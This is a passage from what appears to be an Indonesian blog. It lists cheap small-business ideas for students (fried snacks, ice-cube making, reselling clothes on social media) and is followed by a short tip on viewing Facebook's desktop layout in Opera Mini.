        Mendengar ini mungkin kebanyakan mahasiswa jadi gengsi kali ya? Tapi saran saya jika ingin memulai menjadi seorang pengusaha yang pertama kali harus di lawan adalah rasa gensi dan malu dari diri kita sendiri. Termasuk dengan usaha yang satu ini kamu bisa memulai usaha gorengan bahkan dari rumah dan tidak membutuhkan modal yang besar kok.Caranya dimulai dengan mencari buah apa yang paling murah dan banyak di daerah kamu, nah olahan buah itu bisa di buat gorengan dan di pasarkan.


        4.Pembuatan Es Batu
        Belum pernah terpikirkan kali ya…? tapi sebenarnya peluang usaha ini cukup prospek kok. Kamu bisa memulainya dengan membuat es batu di rumah kamu sendiri. Terus pemasarannya kamu bisa datangi penjual-penjual yang menurut kamu membutuhkan es batu sebagai bahan produknya misalnya pengusaha jus atau mungkin yang lainya.


        5.Menjual Pakaian Lewat Social Media
        Kamu seringkan melihat status facebook atau twitter teman-teman kamu yang memajang produk-produk pakaian di status mereka? Nah kamu bisa memulainya dari sini kamu bisa menjual produk-produk pakaian ataupun elektronik yang kamu miliki ke teman-teman kamu. Caranya kamu coba deh nyari agen atau distributor produk-produk tersebut dan kamu ajak kerjasama, dengan kata lain kamu menjadi sales marketing di lapangan dech.

        Itu adalah usaha yang tidak membutuhkan banyak yang coba saya rangkum dari beberapa referensi. Sebenarnya masih banyak lagi kok yang lainya syaratnya kita hanya sedikit mau capek dan berusaha.
        dan buat kamu yang ingin berbisnis/ usaha online dengan modal 100 ribuan bisa belajar disini ,semoga bermanfaat !

        facebook tampilan dekstop/sentuh pada operamini

        Sobat Tips trik facebook - mau tahu caranya melihat tampilan facebook pada operamini/hp menjadi versi sentuh atau tampilan dekstop. seperti tampilan facebook deksop dibawah ini.
        facebook tampilan dekstop

        caranya sangat sangat mudah kok sob, kalian tinggal akses facebook dengan url x.facebook.com .
        kalau pengen tau hasilnya tinggal klik aja url di atas
        selamat kalian bisa menikmati tampilan fb ala komputer pada operamini ataupun hp.